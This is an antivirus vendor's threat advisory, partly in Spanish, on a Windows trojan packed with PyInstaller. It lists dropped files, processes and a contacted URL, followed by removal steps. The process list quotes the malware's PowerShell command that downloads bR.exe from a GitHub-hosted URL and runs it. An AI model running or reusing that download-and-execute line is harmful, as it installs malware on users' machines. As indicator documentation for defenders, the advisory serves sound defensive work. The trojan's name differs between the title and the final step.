Author: Carlos Villegas Madrid   
 

Trojan.Win32.Bsymem.qio (KASPERSKY)

 PLATFORM:

Windows

 OVER ALL RISK RATING:
 DAMAGE POTENTIAL::
 DISTRIBUTION POTENTIAL::
 REPORTED INFECTION:
 INFORMATION EXPOSURE:
Low
Medium
High
Critical

  • Threat Type:
    Trojan

  • Destructiveness:
    No

  • Encrypted:
     

  • In the wild::
    Yes

  OVERVIEW

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File size: 5,785,654 bytes
File type: EXE
Memory resident: No
INITIAL SAMPLES RECEIVED DATE: 13 de września de 2022

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Infiltra los archivos siguientes:

  • %User Temp%\_MEI{5 Random Numbers}\_bz2.pyd
  • %User Temp%\_MEI{5 Random Numbers}\_ctypes.pyd
  • %User Temp%\_MEI{5 Random Numbers}\_hashlib.pyd
  • %User Temp%\_MEI{5 Random Numbers}\_lzma.pyd
  • %User Temp%\_MEI{5 Random Numbers}\_socket.pyd
  • %User Temp%\_MEI{5 Random Numbers}\_ssl.pyd
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-console-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-datetime-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-debug-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-errorhandling-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-file-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-file-l1-2-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-file-l2-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-handle-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-heap-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-interlocked-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-libraryloader-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-localization-l1-2-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-memory-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-namedpipe-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-processenvironment-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-processthreads-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-processthreads-l1-1-1.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-profile-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-rtlsupport-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-string-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-synch-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-synch-l1-2-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-sysinfo-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-timezone-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-util-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-conio-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-convert-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-environment-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-filesystem-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-heap-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-locale-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-math-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-process-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-runtime-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-stdio-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-string-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-time-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-utility-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\App2.exe.manifest
  • %User Temp%\_MEI{5 Random Numbers}\base_library.zip
  • %User Temp%\_MEI{5 Random Numbers}\pyexpat.pyd
  • %User Temp%\_MEI{5 Random Numbers}\python36.dll
  • %User Temp%\_MEI{5 Random Numbers}\pywintypes36.dll
  • %User Temp%\_MEI{5 Random Numbers}\select.pyd
  • %User Temp%\_MEI{5 Random Numbers}\ucrtbase.dll
  • %User Temp%\_MEI{5 Random Numbers}\unicodedata.pyd
  • %User Temp%\_MEI{5 Random Numbers}\VCRUNTIME140.dll
  • %User Temp%\_MEI{5 Random Numbers}\win32wnet.pyd
  • %User Temp%\test.br0
  • %AppDataLocal%\Microsoft\Windows\Powershell\StartupProfileData-NonInteractive

Agrega los procesos siguientes:

  • {Malware File Path}\{Malware File Name}
  • %System%\cmd.exe /c title « OnionBrute By {BLOCKED}1D@GMAIL.COM »
  • %System%\cmd.exe /c "powershell -Command $progressPreference = 'silentlyContinue'; $ErrorActionPreference = 'silentlyContinue'; Invoke-WebRequest "https://raw.{BLOCKED}usercontent.com/MrByehack/t-a-r-e-y-b/master/bR.exe" -O "%TEMP%\test.exe" && start "" "%TEMP%\test.exe""
  • powershell -Command $progressPreference = 'silentlyContinue'; $ErrorActionPreference = 'silentlyContinue'; Invoke-WebRequest "https://raw.{BLOCKED}usercontent.com/MrByehack/t-a-r-e-y-b/master/bR.exe" -O "%User Temp%\test.exe"

Crea las carpetas siguientes:

  • %User Temp%\_MEI{5 Random Numbers}

(Nota: %User Temp% es la carpeta Temp del usuario activo, que en el caso de Windows 2000(32-bit), XP y Server 2003(32-bit) suele estar en C:\Documents and Settings\{nombre de usuario}\Local Settings\Temp y en el case de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}\AppData\Local\Temp).

)

Otros detalles

It connects to the following possibly malicious URL:

  • https://raw.{BLOCKED}usercontent.com/MrByehack/t-a-r-e-y-b/master/bR.exe

  SOLUTION

Minimum scan engine: 9.800
First VSAPI Pattern File: 17.820.03
First VSAPI Pattern Release Date: 18 de września de 2022
VSAPI OPR PATTERN-VERSION: 17.821.00
VSAPI OPR PATTERN DATE: 19 de września de 2022

Step 1

Los usuarios de Windows ME y XP, antes de llevar a cabo cualquier exploración, deben comprobar que tienen desactivada la opción Restaurar sistema para permitir la exploración completa del equipo.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Buscar y eliminar este archivo

[ learnMore ]
Puede que algunos de los archivos del componente estén ocultos. Asegúrese de que tiene activada la casilla Buscar archivos y carpetas ocultos en la opción Más opciones avanzadas para que el resultado de la búsqueda incluya todos los archivos y carpetas ocultos.
  • %User Temp%\_MEI{5 Random Numbers}\_bz2.pyd
  • %User Temp%\_MEI{5 Random Numbers}\_ctypes.pyd
  • %User Temp%\_MEI{5 Random Numbers}\_hashlib.pyd
  • %User Temp%\_MEI{5 Random Numbers}\_lzma.pyd
  • %User Temp%\_MEI{5 Random Numbers}\_socket.pyd
  • %User Temp%\_MEI{5 Random Numbers}\_ssl.pyd
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-console-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-datetime-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-debug-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-errorhandling-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-file-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-file-l1-2-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-file-l2-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-handle-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-heap-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-interlocked-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-libraryloader-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-localization-l1-2-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-memory-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-namedpipe-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-processenvironment-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-processthreads-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-processthreads-l1-1-1.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-profile-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-rtlsupport-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-string-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-synch-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-synch-l1-2-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-sysinfo-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-timezone-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-core-util-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-conio-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-convert-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-environment-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-filesystem-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-heap-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-locale-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-math-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-process-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-runtime-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-stdio-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-string-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-time-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\api-ms-win-crt-utility-l1-1-0.dll
  • %User Temp%\_MEI{5 Random Numbers}\App2.exe.manifest
  • %User Temp%\_MEI{5 Random Numbers}\base_library.zip
  • %User Temp%\_MEI{5 Random Numbers}\pyexpat.pyd
  • %User Temp%\_MEI{5 Random Numbers}\python36.dll
  • %User Temp%\_MEI{5 Random Numbers}\pywintypes36.dll
  • %User Temp%\_MEI{5 Random Numbers}\select.pyd
  • %User Temp%\_MEI{5 Random Numbers}\ucrtbase.dll
  • %User Temp%\_MEI{5 Random Numbers}\unicodedata.pyd
  • %User Temp%\_MEI{5 Random Numbers}\VCRUNTIME140.dll
  • %User Temp%\_MEI{5 Random Numbers}\win32wnet.pyd
  • %User Temp%\test.br0
  • %AppDataLocal%\Microsoft\Windows\Powershell\StartupProfileData-NonInteractive

Step 4

Buscar y eliminar esta carpeta

[ learnMore ]
Asegúrese de que tiene activada la casilla Buscar archivos y carpetas ocultos en la opción Más opciones avanzadas para que el resultado de la búsqueda incluya todas las carpetas ocultas.
  • %User Temp%\_MEI{5 Random Numbers}

Step 5

Explorar el equipo con su producto de Trend Micro para eliminar los archivos detectados como Trojan.Win32.VIMDITATOR.F En caso de que el producto de Trend Micro ya haya limpiado, eliminado o puesto en cuarentena los archivos detectados, no serán necesarios más pasos. Puede optar simplemente por eliminar los archivos en cuarentena. Consulte esta página de Base de conocimientos para obtener más información.


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